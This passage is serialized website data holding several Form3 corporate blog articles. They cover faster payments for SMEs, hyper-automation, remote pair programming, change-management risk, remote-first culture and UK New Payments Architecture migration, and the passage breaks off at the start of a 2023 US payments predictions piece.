globally",{"dimensions":7342,"alt":413,"copyright":5,"url":414,"id":415,"edit":7343},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[7351],{"variation":437,"version":438,"items":7352,"primary":7353,"id":7382,"slice_type":468,"slice_label":5},[],{"body":7354},[7355,7358,7361,7364,7368,7372,7375,7378],{"type":25,"text":7356,"spans":7357},"SMEs are a vital group to the health of the global economy, but they are largely still underserved when it comes to flexible payments services. Access to faster payment services and real-time transaction processing through existing corporate and retail banking offerings is limited and many businesses are still waiting until the next day for the previous days’ card takings. In a world where time waits for no-one, it is critical that SMEs are able to access and move money on demand so they can better manage cash flow, pay staff and suppliers promptly and reinvest into the business for growth.",[],{"type":25,"text":7359,"spans":7360},"Form3 is on a mission to make payments faster, easier and more cost effective for the global financial community. They provide banks and regulated fin-techs globally simple access to multiple payment schemes including UK (FPS), European (SEPA) and International payment schemes via a single API.",[],{"type":25,"text":7362,"spans":7363},"Driven by the desire to help widen financial inclusion and ensure accessibility for all, Form3 is lowering barriers and opening up scheme access so that all financial institutions are able to provide better services to their customers.",[],{"type":25,"text":7365,"spans":7366},"There were 5.7 million SMEs in the UK in 2018 contributing 47 per cent of revenue to the UK economy.",[7367],{"start":398,"end":3964,"type":765},{"type":25,"text":7369,"spans":7370},"Disrupting for good",[7371],{"start":398,"end":6262,"type":593},{"type":25,"text":7373,"spans":7374},"Several new challenger banks have been quick to ‘undo’ the incumbent nature of payments from traditional retail banks and lead the charge on delivering instant payments to their customers while improving the overall digital experience.",[],{"type":25,"text":7376,"spans":7377},"Merchant service providers are working hard to help SME’s tackle financial barriers to growth and development enabling commerce to be easier and more cost effective. Providers such as Square work with Form3 to deliver access to real-time payments in the UK, expanding their global support for local merchants wanting instant access to funds.",[],{"type":25,"text":7379,"spans":7380},"N26 is another example where making financial life easier is core to their digital banking approach. N26 is working with Form3 to enable their users to make and receive Faster Payments in milliseconds allowing them to compete with Tier 1 banks.",[7381],{"start":398,"end":418,"type":593},"rich_text$a01a52f3-be78-4de8-a485-25d9cf1248d9",{"id":7384,"uid":7385,"type":3743,"data":7386},"alz0hBEAAC0AUWYP","hyper-automation-in-payments",{"title":7387,"excerpt":7388,"card_image":7389,"published_date":5812,"reading_time":1633,"tag":5813,"dek":7388,"featured_image":7392,"about_form3":7393,"client_about_heading":5,"client_about_body":7394,"author_name":5,"author_title":5,"author_photo":7395,"author_bio":7396,"author_linkedin":7397,"slices":7398,"meta_title":7387,"meta_description":7388},"Hyper-automation in payments","What’s all the hype?",{"dimensions":7390,"alt":413,"copyright":5,"url":414,"id":415,"edit":7391},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[7399,7424],{"variation":437,"version":527,"items":7400,"primary":7401,"id":7423,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":7402,"body":7403,"cta_label":5,"cta_link":7412,"aside_type":533,"aside_image":7413,"aside_video":7418,"aside_video_poster":7419,"aside_video_reduced_motion":7420,"aside_video_url":5,"aside_embed":7421,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":7422,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[7404,7409],{"type":25,"text":7405,"spans":7406,"direction":445},"Gartner just announced its Top 10 Strategic Technology Trends For 2020. Interestingly, the first one on the list was Hyper-automation.",[7407],{"start":398,"end":7408,"type":593},134,{"type":25,"text":7410,"spans":7411,"direction":445},"Essentially what that means is moving from highly manual driven processes to low or no manual processes using combined tools that communicate to complete a task without human intervention. The task may be an alert or response to data patterns for example.",[],{"link_type":434},{"dimensions":7414,"alt":5,"copyright":5,"url":7415,"id":7416,"edit":7417},{"width":6876,"height":6877},"\u002F_prismic-media\u002F0ee33cdc56f12e73-rUg5u65pFUmmd74t_bdd66712-1252-474d-aaf3-e51613a.png","rUg5u65pFUmmd74t",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$155b9476-ffcf-4e0d-bbab-41cc2e2e4383",{"variation":437,"version":438,"items":7425,"primary":7426,"id":7464,"slice_type":468,"slice_label":5},[],{"body":7427},[7428,7432,7435,7438,7441,7444,7447,7450,7453,7456,7461],{"type":25,"text":7429,"spans":7430,"direction":445},"In payments in particular, Hyper-automation is potentially game changing.",[7431],{"start":398,"end":3089,"type":593},{"type":25,"text":7433,"spans":7434,"direction":445},"According to Gartner “Hyper-automation refers not only to the breadth of the pallet of tools, but also to all the steps of automation itself (discover, analyse, design, automate, measure, monitor and reassess). Understanding the range of automation mechanisms, how they relate to one another and how they can be combined and coordinated is a major focus for hyper-automation.”",[],{"type":25,"text":7436,"spans":7437,"direction":445},"Gartner’s report notes that this trend was kicked off with robotic process automation (RPA). (RPA) has helped automate repetitive tasks leading to exponential savings. Now it too is evolving into Hyper-automation.",[],{"type":25,"text":7439,"spans":7440,"direction":445},"Of course in reality, it’s a lot more complicated than this simplistic view, but looking at our own approach at Form3, I would say our internal systems are a key candidate for Hyper-automation. Our approach to monitoring, alerting and incident management combines multiple tools that interact with each other and drive very targeted human activity once machines have taken care of a lot of work. We also run rules-based alerting, looking for specific individual breaches in those rules e.g. time of non-response, number of items in a queue, absence of a report etc. Alerts are there to inform the intelligence of the Incident Manager and On-call Engineering teams to assess the outcomes of those alerts and make calls.",[],{"type":25,"text":7442,"spans":7443,"direction":445},"Our aspiration for our cloud-native payments platform is to be able to learn the significance of alerts itself. If the platform can learn its own implications, for example, to see patterns in the alerts which either diagnose an issue for self-resolution or even better - to start to see the client facing impacts and then critically to take actions with our clients.",[],{"type":25,"text":7445,"spans":7446,"direction":445},"Imagine a scenario such as: Alert A, plus Alert B, plus Alert C within X time. We have seen that 3 times before in the same range, therefore we know that the action needed is Y today. Working out the combinations and programming them into the platform will take time but it is not impossible.",[],{"type":25,"text":7448,"spans":7449,"direction":445},"The end result? a position where our platform has the inputs from alerts, the outputs from decisions made by individuals and the platform ‘learns’ from the inputs and outputs of what it should do... and then just does it... including updating clients automatically.",[],{"type":25,"text":7451,"spans":7452,"direction":445},"Even further forward, if and when multiple machines can communicate with each other, a significant plus for Form3 customers would be where they get to learn not only from their own payment processing but others as the “platform” has the capability to consolidate, analyse, design and automate across all - and share these learnings back to all. Although hypothetical, I don’t believe this is too far in the future.",[],{"type":25,"text":7454,"spans":7455,"direction":445},"For now, we are beginning to shape how Hyper-automation can benefit both Form3 and our customers.\n",[],{"type":25,"text":7457,"spans":7458,"direction":445},"Could it all end in #riseofthemachines?\n",[7459],{"start":7460,"end":4219,"type":593},20,{"type":25,"text":7462,"spans":7463,"direction":445},"Maybe.",[],"rich_text$f746f740-ea69-4bfa-be99-3758c49c820d",{"id":7466,"uid":7467,"type":3743,"data":7468},"alz0WxEAACoAUWWq","utilising-pair-programming-in-a-100-remote-environment",{"title":7469,"excerpt":7470,"card_image":7471,"published_date":7474,"reading_time":2375,"tag":3751,"dek":7470,"featured_image":7475,"about_form3":7476,"client_about_heading":5,"client_about_body":7477,"author_name":5,"author_title":5,"author_photo":7478,"author_bio":7479,"author_linkedin":7480,"slices":7481,"meta_title":7469,"meta_description":7470},"Utilising Pair Programming in a 100% remote environment","Andy Kuszyk's experience with Pair Programming at Form3",{"dimensions":7472,"alt":413,"copyright":5,"url":414,"id":415,"edit":7473},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2020-06-08",{},[],[],{},[],{"link_type":434},[7482,7504,7521],{"variation":437,"version":527,"items":7483,"primary":7484,"id":7503,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":7485,"body":7489,"cta_label":5,"cta_link":7490,"aside_type":533,"aside_image":7491,"aside_video":7498,"aside_video_poster":7499,"aside_video_reduced_motion":7500,"aside_video_url":5,"aside_embed":7501,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":7502,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[7486],{"type":746,"text":7487,"spans":7488,"direction":445},"So, what is Pair Programming?",[],[],{"link_type":434},{"dimensions":7492,"alt":5,"copyright":5,"url":7495,"id":7496,"edit":7497},{"width":7493,"height":7494},6000,4000,"\u002F_prismic-media\u002F29b61f03239690b7-JEFsLPotM8OQU-PA_070ad29b-670c-4e83-bed0-8e0b53a.jpeg","JEFsLPotM8OQU-PA",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$d8812fed-f8cf-4244-9322-e74133c131e1",{"variation":437,"version":438,"items":7505,"primary":7506,"id":7520,"slice_type":468,"slice_label":5},[],{"body":7507},[7508,7511,7514,7517],{"type":25,"text":7509,"spans":7510,"direction":445},"Pair programming is basically an exercise when two people work on a task together, one could be writing code whilst the other observing and taking a bit more of a high-level view. Personally, for me in an office environment, pair programming felt a bit of an alien concept. You’d be sitting next to someone, watching what they were doing and swapping keyboards. For Form3 it just means being on a call and collaborating with someone. It can be formal with two people like I just mentioned, or it can also be very informal with 3-4 engineers on a call talking through a problem and coming up with a solution.",[],{"type":25,"text":7512,"spans":7513,"direction":445},"There is no set schedule as to how much we utilise pair programming at Form3, it varies really! At the moment I am working on the same task as another one of the engineers and we’re spending most of the day pairing together. We might drop off occasionally to go make a coffee or go on another call with someone else and there are also other times where I may be working by myself on something which may happen for a few days.",[],{"type":25,"text":7515,"spans":7516,"direction":445},"There are also in-between times where I might spend half a day pairing and the other half working by myself. Sometimes I may be working on something that doesn’t warrant having two people looking at it so we’d always take a sensible view whilst pairing. Most of the time we do try to collaborate where it makes sense to do so.",[],{"type":25,"text":7518,"spans":7519,"direction":445},"An attractive feature of pairing is that it is very flexible. If I am pairing with someone all day we typically start after our morning stand up, normally at 9:30 onwards (so not an ungodly hour). We tend to have coffee breaks in between; I may go out for a run, so I’d say I’ll be back in an hour. It’s very relaxed and not like we’re glued to our zoom call! I personally don’t feel it impinges on my remote working flexibility – quite the opposite really as I tend to fit it around my life.",[],"rich_text$ba1a558d-0ec3-49c6-be99-8b9bfa829e99",{"variation":437,"version":438,"items":7522,"primary":7523,"id":7537,"slice_type":468,"slice_label":5},[],{"body":7524},[7525,7528,7531,7534],{"type":988,"text":7526,"spans":7527,"direction":445},"Solving complex payments problems at Form3",[],{"type":25,"text":7529,"spans":7530,"direction":445},"At Form3, I often find myself looking at very complex problems or specific code relating to payments that I may not have come across before so having the experience and knowledge of another engineer present helps a lot. Normally one of us will have seen code like that or have some understanding of the domain so it doubles your ability to understand the problem. It’s a good chance to learn from other engineers. For example, I personally did not have a lot of experience with infrastructure, so pairing was really useful for me to learn more about that side of things. It’s a bit like being in the office where you may go and ask ‘Jim, the database guy’ for help, except in the office Jim may have his headphones on, or Jim is always being asked for help so actually you might not ask as often as you should. Whereas here, I can just put a message out on slack and normally I’ll get lots of responses from people offering to help me solve the problem. No question is a stupid question, although we have a very experienced team, everyone has different strengths and weaknesses.",[],{"type":25,"text":7532,"spans":7533,"direction":445},"Before joining the company, I wasn’t sure if I’d miss being a solitary software engineer where you sit by yourself in your own world and doing your own thing. I obviously still get a chance to do that when I am working by myself but when I am pairing with someone, by the end of the day I’m often exhausted as we’ve made so much progress from the sessions which I probably wouldn’t have done by myself. So, although it’s a different style of working, it’s certainly not one that I regret taking part in. It’s a very productive and collaborative way of working!",[],{"type":25,"text":7535,"spans":7536,"direction":445},"Also, it helps me to feel close to my colleagues and when we have our company meet-ups it’s great as we already know each other well and end up having a right laugh at those get togethers!  ",[],"rich_text$b3d2417f-41a4-4826-88e8-8140821d0959",{"id":7539,"uid":7540,"type":3743,"data":7541},"alz0RBEAAC4AUWVz","minimising-the-risk-of-transforming-core-payments-technology---a-form3-perspective",{"title":7542,"excerpt":7543,"card_image":7544,"published_date":7547,"reading_time":506,"tag":3751,"dek":7543,"featured_image":7548,"about_form3":7549,"client_about_heading":5,"client_about_body":7550,"author_name":5,"author_title":5,"author_photo":7551,"author_bio":7552,"author_linkedin":7553,"slices":7554,"meta_title":7542,"meta_description":7543},"Minimising the Risk of Transforming Core Payments Technology - A Form3 Perspective","An average of 80 customer-facing incidents resulted from failed change during 2019. - FCA Survey, 2021 This article discusses the best practices to reducing the impact of technology change.",{"dimensions":7545,"alt":413,"copyright":5,"url":414,"id":415,"edit":7546},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2021-05-04",{},[],[],{},[],{"link_type":434},[7555,7577],{"variation":437,"version":527,"items":7556,"primary":7557,"id":7576,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":7558,"body":7559,"cta_label":5,"cta_link":7563,"aside_type":533,"aside_image":7564,"aside_video":7571,"aside_video_poster":7572,"aside_video_reduced_motion":7573,"aside_video_url":5,"aside_embed":7574,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":7575,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[7560],{"type":25,"text":7561,"spans":7562,"direction":445},"A recent Cross-Financial Service change management review by the FCA looked at how financial firms manage technology change, the impact of change failures and the practices utilised within the industry to help reduce the impact of incidents resulting from change management. Key amongst other things, the report revealed that in general, change was managed effectively by the industry with only 1.6% of technology changes resulting in an incident.",[],{"link_type":434},{"dimensions":7565,"alt":5,"copyright":5,"url":7568,"id":7569,"edit":7570},{"width":7566,"height":7567},1250,833,"\u002F_prismic-media\u002F4beace50d33123a0-27f77LgnQEzinmC8_754b2231-3235-466d-8d22-cab35ba.png","27f77LgnQEzinmC8",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$82a45e00-c6a9-4a6c-8468-19a0b298f088",{"variation":437,"version":438,"items":7578,"primary":7579,"id":7599,"slice_type":468,"slice_label":5},[],{"body":7580},[7581,7584,7587,7590],{"type":25,"text":7582,"spans":7583,"direction":445},"However, due to the volume of change implemented by sample firms, this resulted in significant disruption amounting to 13,767 incidents in 2019 of which 14% (1,900 incidents) had a customer-facing impact. It’s difficult to put a price on such incidents. If we equate them to an IT outage, then according to a Gartner report, a single hour of downtime is likely to cost over $100,000.",[],{"type":25,"text":7585,"spans":7586,"direction":445},"So what does best practice look like?\n\nAccording to FCA’s study - “stronger governance, day-to-day risk management, increased automation and more robust testing and planning can contribute to successful change activity and less disruption\".",[],{"type":25,"text":7588,"spans":7589,"direction":445},"Overall, the FCA found that organisations that used microservices, automation and deployed changes more frequently had higher change success rates.",[],{"type":25,"text":7591,"spans":7592,"direction":445},"Read the full-length article to learn about Form3's unique approach to tackling technology change with banks and why microservices, end to end automation and a DevSecOps model ensures a smooth operation from start to finish.\n\nRead the full-length article here",[7593,7595],{"start":7594,"end":4142,"type":593},224,{"start":4142,"end":7596,"type":489,"data":7597},259,{"link_type":491,"url":7598,"target":493},"https:\u002F\u002Fbit.ly\u002F333KASu","rich_text$9e3db3aa-867e-4639-9afc-16bc50de23f1",{"id":7601,"uid":7602,"type":3743,"data":7603},"alz0ZxEAACkAUWXL","a-remote-first-culture",{"title":7604,"excerpt":7605,"card_image":7606,"published_date":7609,"reading_time":1633,"tag":3751,"dek":7605,"featured_image":7610,"about_form3":7611,"client_about_heading":5,"client_about_body":7612,"author_name":5,"author_title":5,"author_photo":7613,"author_bio":7614,"author_linkedin":7615,"slices":7616,"meta_title":7604,"meta_description":7605},"A remote first culture","Why being a remote first company makes good business sense",{"dimensions":7607,"alt":413,"copyright":5,"url":414,"id":415,"edit":7608},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2020-03-30",{},[],[],{},[],{"link_type":434},[7617],{"variation":437,"version":438,"items":7618,"primary":7619,"id":7649,"slice_type":468,"slice_label":5},[],{"body":7620},[7621,7624,7628,7631,7636,7639,7643,7646],{"type":25,"text":7622,"spans":7623,"direction":445},"When we first started Form3, we hadn’t seriously considered the idea that we would grow to become a company where the majority of staff work from home 5 days a week. But when we looked at how we could best evolve as a rapidly expanding start-up, we realised that building a remote-first culture brought a huge number of benefits. In particular, as a company that is ultimately driven by our employees, allowing our staff to build their own personal environment, work from anywhere, and collaborate with the rest of the team on an equal footing, allows us to hire and work with a diverse group of some of the smartest people, no matter where they are based. Although we are only a hundred people strong, we already have staff from over 40 nationalities who are based in more than 14 countries. Remote and flexible working is now completely embedded in our culture. Our engineers typically work from home 100% of the time, while other team members work from home 50% or more. For some, this is about meeting life’s commitments, for others, it’s about being able to use remote\u002F flexible working to strike a great work-life balance. We want to be the most successful company for remote working and so are working hard to make this happen. We’ve been remote working for a while now and can put our success in this area down to three things in particular.",[],{"type":988,"text":7625,"spans":7626,"direction":445},"Communication",[7627],{"start":398,"end":1951,"type":593},{"type":25,"text":7629,"spans":7630,"direction":445},"This one seems pretty obvious, but to make remote working effective, the whole way a company communicates has to change. We have made tools such as Slack and Zoom the primary means of communication (whether staff are in an office or not), and by moving all discussion, meetings, and collaboration onto those platforms, all employees feel like they’re an equal part of the team. Regardless of where employees are based, that also brings the benefits of more open and transparent communication across the board - all conversations are primarily in open forums, rather than closed groups, and meetings can easily be recorded and replayed if team members can’t join directly.",[],{"type":988,"text":7632,"spans":7633,"direction":445},"Trusting our employees",[7634],{"start":398,"end":7635,"type":593},22,{"type":25,"text":7637,"spans":7638,"direction":445},"All of our employees have been hired by us because we really believe they will have a positive impact at Form3. We trusted them enough to hire them, and so we trust them enough to do the work they have to do. At Form3 there is no handholding, micro-managing, clock-watching, or side-glancing paranoia. If you want to head out for a run at 10am, or pick the kids up from school, that’s fine with us. If we can’t trust our teams to do this, we hired the wrong people!",[],{"type":988,"text":7640,"spans":7641,"direction":445},"Meeting in person",[7642],{"start":398,"end":6911,"type":593},{"type":25,"text":7644,"spans":7645,"direction":445},"We can’t stress this one enough – meeting in-person really matters. We always try and get new joiners to work face to face with their colleagues for the first few days together in our London office. We’re also big fans of having company meetups a few times a year; they provide an essential chance for meaningful in-house\u002Fremote bonding that strengthens collaboration for the long-term. It’s not all business though! We make sure employees who normally work remotely get the opportunity for social events with their colleagues too.",[],{"type":25,"text":7647,"spans":7648,"direction":445},"We still have a lot to do to continue to make remote working a success at Form3, but we’re excited to take on that challenge!",[],"rich_text$5d42d019-ad2b-455e-b870-698cfcc82bc2",{"id":7651,"uid":7652,"type":3743,"data":7653},"alzzzhEAAC0AUWRY","npa-technical-from-project-migration",{"title":7654,"excerpt":7655,"card_image":7656,"published_date":7659,"reading_time":4603,"tag":3751,"dek":7660,"featured_image":7661,"about_form3":7662,"client_about_heading":5,"client_about_body":7663,"author_name":5,"author_title":5,"author_photo":7664,"author_bio":7665,"author_linkedin":7666,"slices":7667,"meta_title":7849,"meta_description":7850},"Considerations for NPA: How to decouple the technical project from the migration programme.","With a migration as impactful and far reaching as the NPA, financial institutions need to look at their current payment systems and consider what the migration and transition to the NPA could really mean to them.",{"dimensions":7657,"alt":413,"copyright":5,"url":414,"id":415,"edit":7658},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2022-10-16","With a migration as impactful and far reaching as the NPA, financial institutions need to look at their current payment systems and consider what the migration and transition to the NPA could really mean to them. The following aspects regarding the delivery of NPA into the bank demonstrate how the impact of the mandated change does not necessarily have to entail as much challenge, complication and effort.",{},[],[],{},[],{"link_type":434},[7668,7679,7690,7707,7727,7759,7794,7835],{"variation":437,"version":438,"items":7669,"primary":7670,"id":7678,"slice_type":468,"slice_label":5},[],{"body":7671},[7672,7675],{"type":988,"text":7673,"spans":7674,"direction":445},"Defining readiness",[],{"type":25,"text":7676,"spans":7677,"direction":445},"As laid out by Pay.UK in their Consolidated Design & Impact Document (issued Dec 2021), there are multiple phases in the end-to-end NPA delivery which each Participant is required to go through and provide requisite scheme approval to achieve defined readiness criteria. This includes the following:",[],"rich_text$bcbcf24a-24da-4b5b-bf1e-2eee72096992",{"variation":437,"version":438,"items":7680,"primary":7681,"id":7689,"slice_type":468,"slice_label":5},[],{"body":7682},[7683,7686],{"type":3373,"text":7684,"spans":7685},"technical project; the technical infrastructure level for gateway, message formatting, security protocols, process attestation, scheme connectivity, plus accreditation testing of the technical processes etc.",[],{"type":3373,"text":7687,"spans":7688},"migration between Faster Payments and NPA schemes, driven through a phased approach controlled centrally by the scheme.",[],"rich_text$80c23fad-6032-42cc-824f-ec96efe24e5b",{"variation":437,"version":438,"items":7691,"primary":7692,"id":7706,"slice_type":468,"slice_label":5},[],{"body":7693},[7694,7697,7700,7703],{"type":988,"text":7695,"spans":7696,"direction":445},"Adopting a platform first mindset",[],{"type":25,"text":7698,"spans":7699,"direction":445},"Using the Form3 platform simplifies the technical challenge and substantially reduces the scheme testing overhead for our clients. The Form3 platform operates as multi-tenant and pivotally is deployed using a single code base across all customers. Form3 provide integration with the customer via utilisation of an abstracted API.",[],{"type":25,"text":7701,"spans":7702,"direction":445},"The Form3 approach means that we are able to deploy and test the technical interface once, deploy for any number of our customers, plus due to the API layer, we are the ‘end’ of the inward flows (as the API would be the hook into the core banking system) which allows us to manage a substantial amount of the testing without need for customer Participant involvement, and the results for any of our customers are identical.",[],{"type":25,"text":7704,"spans":7705,"direction":445},"The ability to rapidly deploy the technical project not only simplifies the initial delivery activity, additionally it allows the Form3 customer to focus their time on other aspects of the migration programme, therefore we can offer the ability to decouple the technical project from the migration programme. Explained in the following section, the migration programme itself is another area whereby Form3 can provide substantial benefits.",[],"rich_text$43c9e2f3-9e1c-42b0-adf6-0cc869c0d23f",{"variation":437,"version":438,"items":7708,"primary":7709,"id":7726,"slice_type":583,"slice_label":5},[],{"quote":7710,"attribution_name":5,"attribution_role":5},[7711,7714,7717,7720,7723],{"type":25,"text":7712,"spans":7713},"“A platform approach",[],{"type":25,"text":7715,"spans":7716},"simplifies the technical",[],{"type":25,"text":7718,"spans":7719},"challenge and substantially",[],{"type":25,"text":7721,"spans":7722},"reduces the scheme testing",[],{"type":25,"text":7724,"spans":7725},"overhead for our clients”",[],"pull_quote$ec702637-af6b-4dbc-b95f-07470cda86ad",{"variation":437,"version":438,"items":7728,"primary":7729,"id":7758,"slice_type":468,"slice_label":5},[],{"body":7730},[7731,7734,7737,7740,7743,7746,7749,7752,7755],{"type":988,"text":7732,"spans":7733,"direction":445},"Assurance and Attestation",[],{"type":25,"text":7735,"spans":7736,"direction":445},"Within the NPA migration programme is the requirement for the Participant to undertake scheme assurance and attestation processes. It is possible a Participant may opt to deploy NPA capabilities in-house, either through acquisition of third party technology or in-house build. The approach, viewed by many as a legacy method, comes not only with the detrimental factors of high initial and continuing operational costs, but also will push the onus onto the Participant for the full end to end Attestation and Assurance process. ",[],{"type":25,"text":7738,"spans":7739,"direction":445},"Form3’s multi-tenant platform mitigates many of the detrimental factors, allowing our single code base to be reused by all customers, providing lower setup and run costs, and in the context of scheme sign off, greatly simplifies the Assurance and Attestation process as once the necessary cycles have been completed once, they are the same and fundamentally gives the “green light” for all Participants using the platform.",[],{"type":25,"text":7741,"spans":7742,"direction":445},"The specific attributes will be defined as the scheme’s own governance and design principles are defined and released, however in summary, as part of a customer engagement, Form3 will:",[],{"type":1151,"text":7744,"spans":7745,"direction":445},"Produce revised Security Code Assurance Evidence and Answers",[],{"type":1151,"text":7747,"spans":7748,"direction":445},"Update ISO operational process attestations",[],{"type":1151,"text":7750,"spans":7751,"direction":445},"Support Technical testing “accreditation” with Pay.UK",[],{"type":1151,"text":7753,"spans":7754,"direction":445},"Provide Migration tools and support rehearsals ",[],{"type":25,"text":7756,"spans":7757,"direction":445},"Indeed, our customers benefit from the use of the service from the outset. Form3 customers are already being provided with supporting information for inclusion in response to the Pay. UK CDID questionnaire; significant swathes of the readiness for NPA is delivered by Form3.",[],"rich_text$784c016f-5b42-4ff7-bd8c-2ffe31c97059",{"variation":437,"version":438,"items":7760,"primary":7761,"id":7793,"slice_type":468,"slice_label":5},[],{"body":7762},[7763,7766,7769,7772,7775,7778,7781,7784,7787,7790],{"type":988,"text":7764,"spans":7765,"direction":445},"Total Cost of Ownership",[],{"type":25,"text":7767,"spans":7768,"direction":445},"All Participants are subject to similar challenges in terms of multiple work streams, industry mandated changes and compliance burdens. NPA is only one of activity in a long list including the migration to ISO20022, RTGS2 migration, Open Banking to name but a few.",[],{"type":25,"text":7770,"spans":7771,"direction":445},"Internal resource constraints for an in-house NPA build could require standing up a team of 10’s or even 100’s of people for NPA, which is a huge overhead. This is compounded when considering the elongated nature of the transition process following the initial implementation and development, which could span two or more years.",[],{"type":25,"text":7773,"spans":7774,"direction":445},"Aspects of an in-house development, or deployment of third-party technology within the Participants internal estate which drive up the TCO include:",[],{"type":1151,"text":7776,"spans":7777,"direction":445},"Recognition that existing ‘thin’ gateways require expensive in-house build.",[],{"type":1151,"text":7779,"spans":7780,"direction":445},"Desire to reduce Total Cost of Ownership (TCO).",[],{"type":1151,"text":7782,"spans":7783,"direction":445},"Existing vendor presents a high upgrade and\u002For incremental running cost",[],{"type":1151,"text":7785,"spans":7786,"direction":445},"Dissatisfaction with existing vendor’s service.",[],{"type":1151,"text":7788,"spans":7789,"direction":445},"Internal resource costs associated to the programme.",[],{"type":25,"text":7791,"spans":7792,"direction":445},"Form3’s service is a multi-tenanted, cloud-based platform, operating on a commercial SaaS basis. Form3 reduce the TCO for NPA by removing the burden of managing costly, evolving, critical payments infrastructure in-house with our fully managed service provision. Our customers may also achieve additional cost reduction through early switch-off of legacy FPS infrastructure.",[],"rich_text$e312a2b2-91eb-4d1f-8737-ccc7244218f7",{"variation":437,"version":438,"items":7795,"primary":7796,"id":7834,"slice_type":468,"slice_label":5},[],{"body":7797},[7798,7801,7804,7807,7810,7813,7816,7819,7822,7825,7828,7831],{"type":988,"text":7799,"spans":7800,"direction":445},"Sponsoring Agency participation",[],{"type":25,"text":7802,"spans":7803,"direction":445},"Within FPS, the service offering to sponsor Directly Connected Non-Settling Participants (DCNSP) has always attracted a lot of attention and interest, however, there has been a technical challenge in terms of the real-time authorisation required of the Sponsor under the scheme rules. ",[],{"type":25,"text":7805,"spans":7806,"direction":445},"NPA presents a new means of approaching sponsorship, in turn presenting a potentially lucrative new customer proposition for those Participants with the appetite to offer sponsorship.",[],{"type":25,"text":7808,"spans":7809,"direction":445},"As a technology provider, Form3 operate in the fast paced and rapidly evolving Fintech industry. Fintechs regularly contact Form3 seeking direct connectivity for FPS which can be provided, however, discover limited choice regarding settlement sponsorship. NPA can dramatically open this market. DCNSP opportunities within NPA:",[],{"type":1151,"text":7811,"spans":7812,"direction":445},"Name changed to ‘Direct Non-Clearing Participant’ (DCNP)",[],{"type":1151,"text":7814,"spans":7815,"direction":445},"Flows no longer include online real time authorisation by Sponsor",[],{"type":1151,"text":7817,"spans":7818,"direction":445},"“Auths” are replaced by a Sponsor set limit on maximum net position.",[],{"type":1151,"text":7820,"spans":7821,"direction":445},"Removes risks of Sponsor nonavailability and resulting reversals",[],{"type":1151,"text":7823,"spans":7824,"direction":445},"Potentially opens Sponsorship model up to other Participants",[],{"type":1151,"text":7826,"spans":7827,"direction":445},"Sponsor still does not have line of sight of transaction flows and therefore may be unwilling to sponsor Participants with Payments Originated Overseas.",[],{"type":1151,"text":7829,"spans":7830,"direction":445},"Assumes willingness of Sponsor to set limit.",[],{"type":1151,"text":7832,"spans":7833,"direction":445},"Pay.UK may change roles and responsibilities in scheme rules and procedures but this is not expected to be material.",[],"rich_text$e2a29b06-fd8d-4436-be74-a58d1cdfc937",{"variation":437,"version":438,"items":7836,"primary":7837,"id":7848,"slice_type":468,"slice_label":5},[],{"body":7838},[7839,7842,7845],{"type":988,"text":7840,"spans":7841,"direction":445},"New Payment Architecture - Next Steps",[],{"type":25,"text":7843,"spans":7844,"direction":445},"It cannot be underestimated the wide reaching impact that the NPA will have on all aspects of the payments workflow for banks. With a project of this size it can be seen that approaching it from a technical standpoint of a platform layer enables banks to separate these two areas of the project. ",[],{"type":25,"text":7846,"spans":7847,"direction":445},"We cover this and much more in our 'Comprehensive Guide to New Payments Architecture'. Download your copy today or reach out to one of our experts to discuss how Form3 can support you NPA journey.",[],"rich_text$ed7d9ac5-b1cf-4fa1-afdc-70543f4ab6b3","what are the technical considerations for new payments architecture","With the wide reaching impact that the new payments architecture will have on UK banks, many are still underplaying the time and investment needed to be ready for this next stage in UK payments. We talk about how a platform first approach allows banks to decouple the technical aspects from the migration programme and how this can enable a simplified approach to NPA.",{"id":7852,"uid":7853,"type":3743,"data":7854},"alzznBEAAC0AUWPf","2023-payment-predictions-for-us-banks",{"title":7855,"excerpt":7856,"card_image":7857,"published_date":7860,"reading_time":5,"tag":3751,"dek":5,"featured_image":7861,"about_form3":7862,"client_about_heading":5,"client_about_body":7863,"author_name":5,"author_title":5,"author_photo":7864,"author_bio":7865,"author_linkedin":7866,"slices":7867,"meta_title":7965,"meta_description":7966},"13 Payments predictions in 2023 for US financial institutions","2022 was a challenging year for many with the Russian invasion of Ukraine to the continuation of supply chain issues and inflation at its highest in years. Tightening financial conditions caused many US companies, FinTechs and financial institutions to adjust priorities and change operating models. Dave Scola, Chief Executive in the US discusses what he sees in the future for 2023.",{"dimensions":7858,"alt":413,"copyright":5,"url":414,"id":415,"edit":7859},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2023-01-10",{},[],[],{},[],{"link_type":434},[7868,7879,7893,7913,7939,7953],{"variation":437,"version":438,"items":7869,"primary":7870,"id":7878,"slice_type":468,"slice_label":5},[],{"body":7871},[7872,7875],{"type":25,"text":7873,"spans":7874},"2022 was a challenging year for many with the Russian invasion of Ukraine to the continuation of supply chain issues and inflation at its highest in years. Tightening financial conditions caused many US companies, FinTechs and financial institutions to adjust priorities and change operating models. ",[],{"type":25,"text":7876,"spans":7877},"We’re grateful at Form3 that we’re continuing to build on our multi-cloud platform, cross-border 